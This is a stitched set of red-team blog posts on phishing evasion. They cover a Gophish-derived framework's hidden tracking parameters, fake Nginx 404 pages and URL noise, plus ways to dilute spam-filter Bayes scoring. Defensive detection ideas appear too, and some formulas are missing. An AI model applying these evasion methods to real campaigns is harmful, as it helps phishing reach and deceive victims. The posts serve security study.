模板就是标准 Nginx 404，连 <body bgcolor="white"> 这个老属性都原样保留，别"优化"掉它，任何改动都可能成为指纹。
<center> 标签、全小写 nginx，都是 Nginx 从 0.x 时代沿用至今的特征；Apache 返回 Apache，IIS 返回 Microsoft-IIS/10.0。

不过呢当前这个实现只复制了响应体，并没有显式设置 Server: nginx 或 Content-Type: text/html 这些响应头。Go 的 net/http 会通过内容嗅探自动判 Content-Type，所以体没问题；但 Server 头是空的，一个真正较真的检测如果比对响应头集合，这里是个可以再补强的点。

还有个 WAF 检测的小门道要知道：有些规则会比对 404 响应体大小是否和 Nginx 标准 404 完全一致。多一个空格、少一个换行都可能触发"近似匹配"。所以这个模板的字节数要保持和真 Nginx 一致，别手贱加注释或缩进。

4.3 Apache 与 IIS 的场景

不同目标环境可能需要不同的伪服务器模板：

Apache 404：<address>Apache/2.4.41 (Ubuntu) Server at ...</address>、特定的 Server 头格式、响应体偏大（带额外 CSS）
IIS 404：Server: Microsoft-IIS/10.0、含 .aspx 路径提示、特定 HTML 结构
CDN 伪装：加 CF-Ray、CF-Cache-Status 这类 Cloudflare 特征头

服务器伪装的原则不是以假乱真，没必要去做假的东西，只需要把真 Nginx 的 404 抓下来当模板，不要自己"改进"它。

0x06 非目标访问的三种策略

taigong 的 Campaign 配置里，NonTargetAction 字段控制非目标访问怎么处理，代码里就是一个 switch（controllers/phish.go）：

switch ptx.NonTargetAction {
case "404":
    http.NotFound(w, r)
    return
case "redirect":
    if ptx.NonTargetURL != "" {
        http.Redirect(w, r, ptx.NonTargetURL, http.StatusFound)
        return
    }
    http.NotFound(w, r) // 没配 URL 就退回 404
    return
case "show":
    // 继续显示正常页面
}

三种策略：

show：对所有访问者显示原始 Landing Page，不分目标和非目标。隐蔽性最低，但 A/B 测试不同 Landing 转化率、内部培训让员工自助访问、低风险目标场景下有用。
404：对非目标访问返回 404。注意这里走的是 Go 标准 http.NotFound（“404 page not found” 纯文本），和上面 renderUnknownResponse 的 Nginx 伪装 404 是两条路径。一个用于"平台不匹配"（比如 Windows 访客撞上 macOS 专属页面），一个用于"没找到 RID"，这两条目前是分开的。
redirect：302 跳到合法站点（企业官网、百度首页之类）。实战里 redirect 往往比 404 更好使，看到 302 跳到正常站点，判误报的概率比看到 404 高。

这套非目标判定之外，还有一条更前置的、真正在跑的机制：Cloudflare 边缘注入自定义加密字符串，后端校验失败就 302 跳 https://www.baidu.com（见 章节1 和 章节2）。这是部署层的第一道非目标处置，比应用层的 NonTargetAction 更早生效。

之前提过一个"梯度响应"：首次扫描 302、第二次 404、第三次 TCP RST 静默丢包。查代码，三级梯度（尤其是 TCP RST 那级）目前没有实现，多级梯度是个合理的演进方向。

0x06：从特征匹配到行为画像

红队的技术演进倒逼蓝队往更宏观的维度走。参数免杀消灭了静态特征，但留下了统计学和基础设施层的可检维度。

6.1 参数值的统计指纹

盲搜消掉了固定参数名，但参数值本身留下统计学特征。一个 7 位随机 RID（64 字符集），信息熵：

比特

单位字符熵：

比特字符

对比正常业务参数：

session_id=user123 → 约 2.1 比特/字符
page=2&limit=10 → 约 1.5 比特/字符
token=Ab7Xk2Q → 约 6.0 比特/字符（接近 64 字符集理论上限）

正确做法是条件组合：

高熵值参数 (>5.5 比特/字符)
    AND 域名注册天数 < 90
    AND 证书 = Let's Encrypt
    AND 域名首次 CT Log 出现 < 7 天前
    → 高优先级告警

四个条件 AND 下来误报率大降，合法网站通常不会同时满足"高熵参数 + 新注册域名 + 免费证书 + 无 CT 历史"。

6.2 DNS 时序

钓鱼链接被点之前的第一跳是 DNS。蓝队在内网 DNS 上做异常检测：

6.3 追踪像素的反向利用

Gophish 和 taigong 都用透明追踪像素（1×1 PNG）检测邮件打开。反制条件也很简单：SEG 入站时检测并剥离追踪像素；邮件客户端默认不加载远程图片（Outlook/Thunderbird）；即使参数名动态化，追踪像素的路径模式本身仍是潜在特征。

0x07 攻防演进：参数免杀会停在哪

参数免杀的演进有个清楚的规律：就是说一个特征的消失，必然会带来更多的特征出现，红蓝对抗永无止境。可以把它粗略归纳成几代：

| 代际 | 红队 | 蓝队 | | :-- | :-- | :-- | | 早期 | 固定参数名 ?id= | 正则匹配 id 参数 | | 盲搜 | 盲搜 RID、随机参数名 | 参数值信息熵分析 | | 路径 | RESTful 路径嵌入 RID | 路径结构 + 域名生命周期组合 | | SPA | Hash 路由（fragment 里藏 RID） | 流量时序 + DNS 异常 | | 噪声 | 畸形参数 + 业务噪声注入 | 多维关联（CA+ASN+注册商+行为） | | 当前 | Aged Domain + AI 生成 URL | 行为基线与基础设施关联异常 | | 趋势 | WebSocket/SSE 实时推送 | 协议层行为基线偏离 |

当前态势在"噪声"到"当前"之间。传统 WAF 签名在盲搜 RID 面前已经失效，未来要更关注基础设施和流量元数据之间的关联异常，而不是依靠单一的模板指纹进行规则命中。

6.4 AI 生成 URL 的那一面

Unit 42 演示过 LLM 运行时组装攻击：客户端实时调 LLM API，在受害者浏览器里生成恶意 JS，每次语法不同、功能相同，不留静态载荷。把这思路迁到 URL 上，就是让 LLM 生成符合目标企业内部命名规范的 URL 路径和参数名，每个组成部分都按目标风格定制后，基于特征的检测基本失效。

但这路线有它自己的破绽：LLM 生成的 URL 太"完美"了。真实业务里全是随机和不规范，拼写错误、不一致命名、版本号遗漏。一个被 LLM 优化得过于工整的 URL，反而可能因为"太干净"被异常检测标出来。这正是 GREASE 精神（RFC 8701）在反检测领域的回声：你得故意留点看似 bug 的特征，才能融进环境。

6.5 结尾

参数级检测全面失效后，焦点往两个方向迁。

基础设施聚类。 URL 怎么伪装，钓鱼服务器的底层基础设施（ASN、托管商、IP 段、证书签发模式、DNS 配置）会形成稳定的聚类特征。不同 campaign 共享的基础设施特征，参数伪装盖不住。这是最值得的检测维度，可以参考现在的PhaaS

行为基线。 一个被攻击者管理的域名，行为一定偏离它的历史基线。哪怕域名年龄 10 年，它的 DNS 解析模式、证书更新模式、页面响应模式也一定在某维度上偏离原始用途。

借用德勒兹的一句话：To become is to deterritorialize。

系列导航

Email Phishing Eng. · 4: Param Polymorphism

Wed, 15 Apr 2026 00:00:00 GMT

~4,100 Chinese characters in the original; about 21 minutes to read

This is Part 4 of the Email Phishing Engineering series. This post answers “what is being accessed”: the URL parameter structure itself is the most visible fingerprint. Gophish’s decade-unchanged ?id=Ab7Xk2Q is a perfect regex signature for WAFs. This article walks from RID code details to the engineering of blind-search algorithms and the fine points of 404 camouflage.

Author: 可惜夜 (Kexi Ye)

First published on WeChat: Yofune Security Research

0x01 The Parameter Name Is the Fingerprint

Gophish tracking URLs struggle to survive a full attack–defense cycle under today’s conditions.

One obvious reason: the URL parameter structure itself is a fingerprint. Gophish’s ten-year ?id=Ab7Xk2Q pattern can be blocked with near-zero false positives by a single rule in ModSecurity Core Rule Set, FortiWeb, AWS WAF, or Cloudflare WAF:

SecRule ARGS:id "^[a-zA-Z0-9_-]{7}$" "id:100001,deny"

What makes this rule lethal is not that it is a “known attack signature,” but that it naturally excludes legitimate business traffic. No normal site puts an exactly 7-character random string in an id parameter. Gophish RIDs use a 64-character alphabet ([a-zA-Z0-9_-]), length 7—from a detection viewpoint, a perfect static feature.

Firewall and WAF rules matching “short random-string parameters” are ready-made playbooks for defenders. Any enterprise gateway with default protection can block Gophish-default phishing links with essentially no extra configuration.

Gophish architecture also binds the phishing landing page and the management backend to the same HTTP server—almost unacceptable OpSec. Hitting the root route / without a configured landing page exposes the Gophish admin login. Domestic scanning platforms (FOFA, ZoomEye, Hunter / Yingtu) have long ingested Gophish admin HTML structure, the X-Gophish-Contact response header, and the fixed favicon hash into rule libraries.

These three defects—fixed parameter name, exposed admin UI, and no OpSec-oriented design—were among the reasons to rebuild on top of (and beyond) Gophish.

0x02 Blind RID Search: Kill the Parameter-Name Convention

The core idea is direct: abolish any fixed parameter-name contract. Sender and receiver pre-agree on no parameter name; the receiver “blind-searches” the RID by enumeration plus validation.

2.1 Algorithm

This is the real logic of extractRIDFromRequest in taigong’s controllers/phish.go (simplified):

HTTP request arrives
    │
    ▼
First try the standard parameter name (RecipientParameter): take value → strip TransparencySuffix (+)
    │   └─ ridExistsInStorage(id)? exists → claim it, done
    ▼
Else: iterate all query keys (sorted by key for determinism)
    ├── for each value: normalizeRID → isRIDCandidate(regex)
    │       no match → skip
    │       match → dedupe (seen map) → ridExistsInStorage(id)
    │              exists → add to candidate set
    │
    ▼
Candidate set decision:
    ├── exactly 1 → claim as this request's RID
    ├── > 1      → ambiguous; reject outright (log warn, return camouflaged 404)
    └── 0         → fall back to POST body; still none → treat as probe, return camouflaged 404

The key change: RID recognition shifts from “lookup by parameter name” to “lookup by parameter value + existence check in storage.” Parameter names can be generated arbitrarily—even differently per target.

Blue teams can no longer block with SecRule ARGS:id, because the parameter name is an unpredictable dynamic. Detection would require enumerating all parameter names and running entropy analysis on every value—performance most mail security gateways cannot afford.

2.2 Routing Layer

Gophish registers fixed routes in route.go:

r.HandleFunc("/landing", landingHandler) // fixed route + fixed parameter name

taigong uses wildcard routing: path matching and parameter parsing are fully decoupled. All non-static paths share one handler; the RID is blind-extracted inside the handler. That lets red teams craft fully legitimate-looking business URLs:

https://phish-domain.com/salary/detail?token=XyZ123A
https://phish-domain.com/auth/callback?code=XyZ123A&state=abc
https://phish-domain.com/notice?session_id=XyZ123A

Parameter names are randomly chosen at send time from a lexicon: token, sid, auth_state, session_key, code, ticket, nonce, sign. The lexicon is extensible and can match a target company’s internal naming habits—e.g. ticket for Alibaba Cloud–style stacks, session_state for Microsoft-style stacks.

2.3 Engineering Boundaries

Blind search has several boundaries that must be handled. Examples from the implementation:

Ambiguity means reject. If multiple parameter values pass the regex and exist in the store, extractRIDFromRequest does not guess—it logs something like RID parse ambiguity: multiple candidates hit; request rejected and returns 404. That is a more robust anti-injection stance than “truncate to the first N parameters”: an attacker dumping many candidate RIDs to collide the store gets uniform rejection. Enumeration cost is also bounded by this reject path.

Database indexes are a hard requirement. The r_id column must have a UNIQUE INDEX. In SQLite, WHERE r_id = ? without an index degrades to full table scan—hundreds of milliseconds per blind search at million-scale result rows; with an index it is O(log n), microseconds. That is the production-readiness watershed.

Regex + store dual validation. isRIDCandidate constrains charset and length, but an ordinary form value that happens to be 7 characters (e.g. half a password) will occur statistically—so store existence is the post-regex backstop: regex pass but not in the store still does not count as a RID.

Blind search removes the parameter-name feature but opens a new gap: parameter-value brute force. Craft many requests with candidate RIDs; each triggers a store lookup. UNIQUE INDEX prevents melting the DB, but bulk enumeration itself is a traffic anomaly. Countering that relies on the IP / rate / UA scoring stack from the previous article—not on the blind-search algorithm alone.

0x03 Parameter Polymorphism and Path Camouflage

3.1 Gophish’s Fixed-Path Legacy

In controllers/route.go, Gophish registers a batch of fixed phishing routes: / (Landing), /track (open tracking), /report (credential submit), /robots.txt, /{path}, /static/{filename}. These paths are pre-registered and immutable. Blue team or WAF blocks on /track and /report alone can cut data callback—a handful of rules.

3.2 Hand Almost the Entire Path Space to Blind Search

taigong folds nearly all paths into the blind-search logic. Aside from a few static assets (/static/), the tracking pixel (pixel.png), robots.txt, /report, /download, and similar necessary endpoints registered separately, everything else goes through phishHandler.

URL structure space opens up immediately:

Compatible form: /?id=XyZ123A (backward compatible with Gophish)
Token path: /salary/detail?token=XyZ123A
OAuth style: /auth/callback?code=XyZ123A&state=abc
RESTful: /api/v1/notice/XyZ123A (RID embedded in the path)
Hash routing: /#/verify/XyZ123A (SPA; parameter in the fragment)

The last form is especially effective against mail-gateway URL extraction: most URL parsers do not extract the fragment, while React/Vue-style SPAs parse the RID from the fragment on the client normally.

3.3 Malformed Parameters

SANS ISC’s Xavier Mertens documented a widely used parameter-evasion technique in a February 2026 diary (Broken Phishing URLs): deliberately craft malformed parameters that violate HTTP norms, for example:

https://phish-domain.com/?dC=handler@domain&*(Df

&*(Df is an invalid parameter name under HTTP rules, but all major browsers silently ignore it and still load the page. WAFs, regex detectors, and IOC extraction pipelines cannot parse *(Df as a key=value pair; they may mark the whole URL “abnormal” and skip it—exactly what the attacker wants.

The essence is the asymmetry of “browser tolerance vs. detector strictness.” Browsers forgive everything; security tools reject everything; the middle ground is full of room to work. taigong’s r.ParseForm() also ignores illegal parameters (Go standard library behavior), so malformed parameters can act as decoy parameters: detectors fixate on the invalid ones and overlook the real RID sitting in a legitimate parameter.

3.4 Business Parameter Noise

Go further: inject a pile of legitimate business parameters into the URL to dilute the RID’s statistical signature:

https://phish-domain.com/report/download
    ?lang=zh-CN
    &tz=Asia%2FShanghai
    &device=mobile
    &version=2.4.1
    &_t=1749283200000
    &sid=ZqW8kPm

On this URL only sid=ZqW8kPm is actually parsed; the rest are high-frequency legitimate business parameter names and values. When blue teams run parameter entropy analysis, a single high-entropy value (ZqW8kPm ≈ 6.0 bits/char) is diluted by a stack of low-entropy values (zh-CN, Asia/Shanghai, mobile), pulling overall statistics toward legitimate traffic.

0x04 Nginx 404 Camouflage Details

4.1 Why Nginx 404

When automated scanners probe suspicious URLs (root hits, nonexistent paths, invalid parameters), the HTTP response is a critical identity-exposure window.

Nginx has long held roughly a third of the global web-server market (Netcraft Web Server Survey, multi-year). A phishing server that returns an Nginx-style 404 behaves like most legitimate sites and does not trip product-signature detection. Gophish’s default 404 exposes two features at once: Gophish page structure in the body, and a Server: Gophish response header.

4.2 taigong’s Actual Implementation

The camouflaged-404 function in taigong is renderUnknownResponse in controllers/phish.go—only a few lines:

func (ps *PhishingServer) renderUnknownResponse(w http.ResponseWriter, r *http.Request) {
    if redirectURL := ps.currentPhishConfig().UnknownRedirectURL; redirectURL != "" {
        http.Redirect(w, r, redirectURL, http.StatusFound)
        return
    }
    w.WriteHeader(http.StatusNotFound)
    fmt.Fprint(w, `<html>
<head><title>404 Not Found</title></head>
<body bgcolor="white">
<center><h1>404 Not Found</h1></center>
<hr><center>nginx</center>
</body>
</html>`)
}

Key points:

It first checks UnknownRedirectURL; if set, 302 away; only then returns the 404 body.
The template is stock Nginx 404—including the legacy <body bgcolor="white">. Do not “optimize” it; any change can become a fingerprint.
The <center> tag and all-lowercase nginx have been Nginx’s signature since the 0.x era; Apache returns Apache, IIS returns Microsoft-IIS/10.0.

That said, the current implementation only clones the response body and does not explicitly set Server: nginx or Content-Type: text/html. Go’s net/http sniffs Content-Type from content, so the body is fine; but Server is empty. A detector that compares header sets can still spot this—an area that can be hardened further.

Another small WAF detection trick: some rules compare whether the 404 body size matches a standard Nginx 404 exactly. One extra space or missing newline can trip “near-match.” Keep the template’s byte length identical to real Nginx; do not casually add comments or indentation.

4.3 Apache and IIS Scenarios

Different target environments may need different pseudo-server templates:

Apache 404: <address>Apache/2.4.41 (Ubuntu) Server at ...</address>, specific Server header formats, larger bodies (extra CSS)
IIS 404: Server: Microsoft-IIS/10.0, .aspx path hints, distinctive HTML structure
CDN camouflage: add Cloudflare-style headers such as CF-Ray, CF-Cache-Status

Server camouflage is not about inventing fakes from scratch—there is no need to fabricate something new. Capture a real Nginx 404 as the template and do not “improve” it.

0x05 Three Strategies for Non-Target Access

In taigong Campaign config, the NonTargetAction field controls non-target access. In code it is a switch (controllers/phish.go):

switch ptx.NonTargetAction {
case "404":
    http.NotFound(w, r)
    return
case "redirect":
    if ptx.NonTargetURL != "" {
        http.Redirect(w, r, ptx.NonTargetURL, http.StatusFound)
        return
    }
    http.NotFound(w, r) // fall back to 404 if URL unset
    return
case "show":
    // continue showing the normal page
}

Three strategies:

show: show the original landing page to all visitors, target or not. Lowest stealth, but useful for A/B testing landing conversion, internal training where employees self-visit, and low-risk targets.
404: return 404 for non-target access. Note this uses Go’s standard http.NotFound (plain-text “404 page not found”), a different path from renderUnknownResponse’s Nginx-camouflaged 404. One path is for “platform mismatch” (e.g. a Windows visitor hits a macOS-only page); the other is for “RID not found.” These two remain separate today.
redirect: 302 to a legitimate site (corporate homepage, Baidu home, etc.). In practice redirect often works better than 404—seeing a 302 to a normal site is more likely to be treated as a false positive than seeing a 404.

Beyond this non-target decision, there is an earlier, live mechanism: Cloudflare edge injection of a custom encrypted string; if backend verification fails, 302 to https://www.baidu.com (see Chapters 1 and 2). That is the first non-target disposal at the deployment layer, earlier than application-level NonTargetAction.

A “gradient response” was discussed earlier: first scan 302, second 404, third TCP RST silent drop. Checking the code, the three-level gradient (especially TCP RST) is not implemented today; multi-level gradient remains a reasonable evolution path.

0x06 From Signature Matching to Behavioral Profiling

Red-team technical evolution forces blue teams toward more macroscopic dimensions. Parameter-level evasion kills static features but leaves statistical and infrastructure-layer detectable dimensions.

6.1 Statistical Fingerprint of Parameter Values

Blind search removes fixed parameter names, but parameter values leave statistical signatures. A 7-character random RID over a 64-character alphabet has information entropy:

bits

Per-character entropy:

bits/character

Compared with normal business parameters:

session_id=user123 → ≈ 2.1 bits/char
page=2&limit=10 → ≈ 1.5 bits/char
token=Ab7Xk2Q → ≈ 6.0 bits/char (near the theoretical max for a 64-char alphabet)

The right approach is a conditional combination:

high-entropy parameter (>5.5 bits/char)
    AND domain age < 90 days
    AND cert = Let's Encrypt
    AND domain first CT Log appearance < 7 days ago
    → high-priority alert

AND across four conditions cuts false positives sharply: legitimate sites rarely satisfy “high-entropy param + newly registered domain + free cert + no CT history” at once.

6.2 DNS Timing

The first hop before a phishing link is clicked is DNS. Blue teams run anomaly detection on internal DNS:

6.3 Turning Tracking Pixels Against You

Both Gophish and taigong use transparent tracking pixels (1×1 PNG) to detect opens. Countermeasures are simple: SEGs strip tracking pixels on inbound; mail clients default to not loading remote images (Outlook/Thunderbird); even with dynamic parameter names, the tracking-pixel path pattern itself remains a potential feature.

0x07 Where Parameter Evasion Stops Evolving

Parameter evasion follows a clear law: when one feature disappears, more features appear—red/blue never ends. Rough generations:

Current state sits between “noise” and “current.” Traditional WAF signatures already fail against blind RID search; the future is correlational anomalies between infrastructure and traffic metadata, not single-template fingerprint hits.

6.4 The Other Side of AI-Generated URLs

Unit 42 has demonstrated LLM runtime assembly of attacks: the client calls an LLM API live, generating malicious JS in the victim browser—different syntax each time, same function, no static payload left behind. Port that idea to URLs and an LLM generates path and parameter names that match the target’s internal naming norms; once every component is style-customized, feature-based detection largely fails.

But this route has its own tell: LLM-generated URLs are too “perfect.” Real business is full of randomness and mess—typos, inconsistent naming, missing version numbers. A URL polished too clean by an LLM can be flagged because it is too clean. That is the GREASE spirit (RFC 8701) echoing in anti-detection: you must deliberately leave bug-like traits to blend into the environment.

6.5 Closing

Once parameter-level detection fully fails, focus migrates in two directions.

Infrastructure clustering. No matter how the URL is camouflaged, the phishing server’s underlying infrastructure (ASN, hoster, IP range, cert issuance pattern, DNS config) forms stable cluster features. Infrastructure shared across campaigns cannot be covered by parameter camouflage. This is the highest-value detection dimension—see contemporary PhaaS analysis.

Behavioral baseline. A domain under attacker control will deviate from its historical baseline. Even a 10-year-old domain will, somewhere, deviate in DNS resolution patterns, cert renewal patterns, or page response patterns from its original purpose.

To borrow Deleuze: To become is to deterritorialize.

Series Navigation

邮件钓鱼攻防工程·3：贝叶斯与 NLP 内容对抗

Sat, 11 Apr 2026 00:00:00 GMT

字数 6265，阅读大约需 32 分钟

本文是「邮件钓鱼攻防工程」系列的第三篇。前两篇解决了发信通道和反沙箱。但发信只是一部分，正文被网关过滤，前面的工作全白做。

邮件能不能进网关，内容进网关之后能不能不进垃圾箱，这是两个完全不同的对抗维度。本篇拆邮件安全网关（SEG）最核心的内容检测逻辑：贝叶斯分类器和 NLP 语义引擎，以及工程上的规避思路。

作者：可惜夜

首发至公众号：Yofune安全研究欢迎关注。

0x01 对手模型：SEG 内容层的双层检测架构

国内和境外的环境差异直接影响内容对抗的策略选择。境外企业网络的主力 SEG 是 Microsoft Defender for Office 365 和 Proofpoint；国内环境更复杂，大型央企和金融机构普遍部署了国产邮件网关，安全厂商这类产品百花齐放，不一一例举。中小企业大量使用腾讯企业邮、阿里云企业邮，后端反垃圾接的是云端能力。

这些产品的内容检测架构大体一致，底层两层叠加：第一层是贝叶斯概率层，基于词袋模型，SpamAssassin 和 Rspamd 是最典型的开源实现，国产厂商基本在此之上做了中文语料的二次训练；第二层是深度语义层，国内有不少基于 BERT-base 的轻量检测模型，不详细展开，感兴趣的可以搜索关键字。两层检测不是串联阻断，而是评分加权合并。一封邮件贝叶斯层得分很低，但只要深度语义层捕捉到了钓鱼邮件特征，照样被拦。目标是让最终得分低于阈值，需要两层一起对抗。

SpamAssassin 的 Bayes 插件（`lib/Mail/SpamAssassin/Plugin/Bayes.pm`）

Token 化流程（源码 tokenize 函数位于第 1134-1217 行，_tokenize_line 位于第 1219-1380 行）：

原始文本 → 正则提取 → 最少3字符过滤 → SHA1哈希截取40位 → 停用词过滤

Token 提取正则（_tokenize_line 函数内，行 1235-1240）：

# 使用正则表达式提取Token：匹配ASCII单词、英文字符，以及多字节的UTF-8编码字符（用于支持中文等非ASCII文本）
s{ ( [A-Za-z0-9,@*!_'"\$. -]+  |     # 匹配常规ASCII词元
     [\xC0-\xDF][\x80-\xBF]       |     # 匹配UTF-8双字节字符
     [\xE0-\xEF][\x80-\xBF]{2}    |     # 匹配UTF-8三字节字符（包含常见中文字符）
     [\xF0-\xF4][\x80-\xBF]{3}    |     # 匹配UTF-8四字节字符
     [\xA1-\xFF] ) | . }                # 匹配ISO-8859等单字符或多字节边缘字符，其余未匹配的单个字符替换为空格
 { defined $1 ? $1 : ' ' }xsge;

SHA1 哈希压缩为 40 位 Key（tokenize 函数内，行 1212）：

# 对提取出的Token计算SHA1值，并截取其哈希结果的最后5个字节（40位），作为统计数据库中存储的唯一键值
$tokens{substr(sha1($token), -5)} = $token  if $token ne '';

SpamAssassin 实现里有三个硬性设计边界值得利用。

Token 计数上限（行 250）：

# 声明在对数似然比排序中参与评分合并计算的最大有效Token数量为150。超过该限制的弱特征Token将被舍弃。
use constant N_SIGNIFICANT_TOKENS => 150;

SpamAssassin 在计算贝叶斯分值时，会把分词拿到的所有 Token 按概率偏差（即该词有多偏向垃圾邮件或正常邮件）进行降序排列，最多只取前 150 个最明显的 Token 参与最终计算，超出 150 个的词直接丢弃。这个 150 的限制是代码里写死的硬性规定。

只要在正文里混入足够多（超过 150 个）的强 Ham 词（即正常业务往来中的高频词），就能把真正敏感的恶意词挤出这 150 个计分窗口，使其不参与最终评分。

Robinson 平滑算法（行 1644-1653，常量在 CombineChi.pm 第 47-50 行定义，FW_S_CONSTANT = 0.030，FW_S_DOT_X = 0.538 * 0.030 = 0.01614）：

# 1. 计算原始贝叶斯分类概率
my $prob = ($s * $nn) / ($n * $ns + $s * $nn);

# 2. 如果启用了 Robinson 平滑算法（针对低频出现的 Token）
if (USE_ROBINSON_FX_EQUATION_FOR_LOW_FREQS) {
  my $robn = $s + $n; # 该 Token 在所有样本中出现的文档总数
  # 使用 Gary Robinson 的 f(w) 公式计算平滑后的概率：
  # P_smooth = (s * x + n * P_raw) / (s + n)
  $prob = ($Mail::SpamAssassin::Bayes::Combine::FW_S_DOT_X + ($robn * $prob))
          / ($Mail::SpamAssassin::Bayes::Combine::FW_S_CONSTANT + $robn);
}

robn 是词库里记录的该词总频次。塞入拼写奇怪的罕见词或生僻词，平滑公式会直接把它的概率拉回 0.5（代表无特征）。概率为 0.5 的词在排序时垫底，进不了 150 个评分窗口。所以，做正文稀释时，必须使用网关已经见过多次的常规商务词汇，不能胡乱生造冷门词。

得分合并的数学核心，在 CombineChi.pm（行 60-104）：

# 1. 累加计算双假设 Fisher 对数概率
foreach my $prob (@$sortedref) {
  $S *= 1.0 - $prob; # 假设邮件为 Spam 的概率累乘因子 (1 - P(Spam|Token))
  $H *= $prob;       # 假设邮件为 Ham 的概率累乘因子 (P(Spam|Token))
  # 浮点防下溢处理省略（使用 frexp 分解科学计数法）
}

$S = log($S) + $Sexp * LN2; # 计算假设 Spam 的对数似然
$H = log($H) + $Hexp * LN2; # 计算假设 Ham 的对数似然

# 2. 通过卡方逆累积分布函数 (chi2q) 转换为 p 值评分。
# 传入 $wc (即 $token_count) 代表自由度相关的半值参数，省略了重复的乘除2操作。
$S = 1.0 - chi2q(-2.0 * $S, $wc);
$H = 1.0 - chi2q(-2.0 * $H, $wc);

# 3. 将得分归一化到 [0, 1] 区间，作为最终贝叶斯概率分值
return (($S - $H) + 1.0) / 2.0;

Fisher 算法在数学上默认所有词相互独立。但实际邮件中，词语之间关联性非常强。塞入一整段连贯的商务文本，这些关联词会直接扭曲卡方统计的自由度计算，降低分类器判定的把握，反而容易触发误判放行。

Rspamd 的 Bayes 分类器（`src/libstat/classifiers/bayes.c`）

和 SpamAssassin 不同，Rspamd 使用的是 OSB（Optimal Score Based）算法。

它的一个核心特点是把单个词（Unigram）的权重设成了 0（行 215）。不管单个词有多敏感，它都不会直接影响最终分值，必须和相邻词语结合组成 Bigram（双词组）或 Trigram（三词组）窗口才会计分。

光堆砌单个单词没用，必须注入连贯的词组或完整的商务短语。在中文场景下，分词器如果把词切得太细，容易破坏 OSB 窗口的统计结构。

Rspamd 里的 Robinson 平滑通过 PROB_COMBINE 宏实现（行 217）：

// prob: 原始概率, cnt: Token出现总数, weight: Robinson平滑权重, assumed: 默认假设概率(通常为0.5)
#define PROB_COMBINE(prob, cnt, weight, assumed) (((weight) * (assumed) + (cnt) * (prob)) / ((weight) + (cnt)))

在 bayes_classify_token 函数（行 227-324）中被调用：

// 计算 w
w = (fw * total_count) / (1.0 + fw * total_count);
// 平滑合并概率
bayes_spam_prob = PROB_COMBINE(spam_prob, total_count, w, 0.5);

Rspamd 统计 Token 标志位定义（`src/libserver/word.h` 与 `src/libstat/tokenizers/tokenizers.c`）

分词阶段，Rspamd 会在 src/libserver/word.h（行 34-47）中为 Token 标记不同的 Flag，这些属性采用 bitmask 形式定义：

| 标志名称 | 位偏移量 | 掩码实际值 | 安全对抗及分析含义 | | :-- | :-- | :-- | :-- | | RSPAMD_STAT_TOKEN_FLAG_TEXT | 1u << 0 | 0x01 | 纯文本内容提取的常规 Token | | RSPAMD_STAT_TOKEN_FLAG_META | 1u << 1 | 0x02 | 元数据或指令生成的 Token | | RSPAMD_STAT_TOKEN_FLAG_LUA_META | 1u << 2 | 0x04 | 由 Lua 规则接口动态产生的 Token | | RSPAMD_STAT_TOKEN_FLAG_EXCEPTION | 1u << 3 | 0x08 | 异常 Token（例如 URL 提取出的特征） | | RSPAMD_STAT_TOKEN_FLAG_HEADER | 1u << 4 | 0x10 | 邮件 Header 头部字段提取的 Token | | RSPAMD_STAT_TOKEN_FLAG_UNIGRAM | 1u << 5 | 0x20 | 单字/单词一元 Token 标志 | | RSPAMD_STAT_TOKEN_FLAG_UTF | 1u << 6 | 0x40 | UTF-8/Unicode 多字节文本 Token | | RSPAMD_STAT_TOKEN_FLAG_NORMALISED | 1u << 7 | 0x80 | ICU 库成功进行规范化转换的 Token | | RSPAMD_STAT_TOKEN_FLAG_STEMMED | 1u << 8 | 0x100 | 已成功执行词干提取转换的 Token | | RSPAMD_STAT_TOKEN_FLAG_BROKEN_UNICODE | 1u << 9 | 0x200 | Unicode 序列规范化失败或格式损坏；会标记 RSPAMD_TASK_FLAG_BAD_UNICODE，但不对 Bayes 权重做 50% 降权 | | RSPAMD_STAT_TOKEN_FLAG_STOP_WORD | 1u << 10 | 0x400 | 识别为高频中性的停用词 | | RSPAMD_STAT_TOKEN_FLAG_SKIPPED | 1u << 11 | 0x800 | 属于被衰减或跳过的 Token，不参与评分计算 | | RSPAMD_STAT_TOKEN_FLAG_INVISIBLE_SPACES | 1u << 12 | 0x1000 | 包含不可见字符的 Token | | RSPAMD_STAT_TOKEN_FLAG_EMOJI | 1u << 13 | 0x2000 | 包含 Emoji 表情符号的 Token |

BROKEN_UNICODE 和 INVISIBLE_SPACES 是判断是否存在异常绕过行为的重要技术线索。若邮件中包含大量非规范 Unicode 或隐藏格式，容易触发网关的异常拦截逻辑。

词干提取与自定义分词（`tokenizers.c` 约第 600-650 行）

词干提取（Stemming）会消除单词变形的影响，例如 "approved" 与 "approves" 会归并为相同的词干 "approv"。这虽然限制了通过同词变形刷计数的做法，但也意味着如果注入大量 "unanimously"，等于在全局给 "unanim" 这一族词干刷了强烈的 Ham 信誉。在中文或日文的实际部署中，如果网关引入了自定义的中文分词器，需要摸清其词典边界，OOV的打散退化往往会减弱稀释效果。

所有 Token 在生成时都会计算 Mum-hash 用于 Redis 端的去重。即使使用等价 Unicode 字符替换，哈希值的改变也会使其被当作新词统计。

自动学习决策（`lualib/lua_bayes_learn.lua`，行 184、368）

在 can_learn() 逻辑中，Rspamd 设置了自适应防过拟合的保护机制。默认的置信度阈值为 min_prob = 0.95：

-- 判断当前邮件的贝叶斯分类置信度是否已经达到阈值（默认为0.95）
in_class = prob >= (probability_opts.min_prob or probability_opts.spam_min or 0.95)

if in_class then
  -- 若系统已经足够确信，则拒绝进一步将其加入训练库中，以防止模型过拟合
  return false, reason, ctx.result
end

如果稀释文本成功将评分卡在拦截线以下，且置信度未达到 0.95，则分类器既不会拦截该邮件，也无法从中学习到最新的特征漂移，从而提供了一个稳定的绕过时间窗口。

Rspamd 的神经网络插件（`src/plugins/lua/neural.lua`）

除了贝叶斯层，Rspamd 默认启用了 ANN（神经网络）分类插件。

其后置过滤器回调 ann_scores_filter（源码约在 121 行）在贝叶斯分类器之后执行。这意味着神经网络看到的特征已经经过了贝叶斯层的预处理。

特征提取依赖以下五个 Provider 接口（源码第 33-37 行）：

-- 动态加载这五个特征提供者模块
pcall(require, "plugins/neural/providers/llm")           -- 外部LLM嵌入特征
pcall(require, "plugins/neural/providers/symbols")        -- 规则得分缓存收集
pcall(require, "plugins/neural/providers/text_hash")      -- 局部特征哈希
pcall(require, "plugins/neural/providers/fasttext_embed") -- FastText 词嵌入
pcall(require, "plugins/neural/providers/static_embed")   -- 静态词嵌入

在生产环境中，通常仅启用 symbols 和 text_hash。

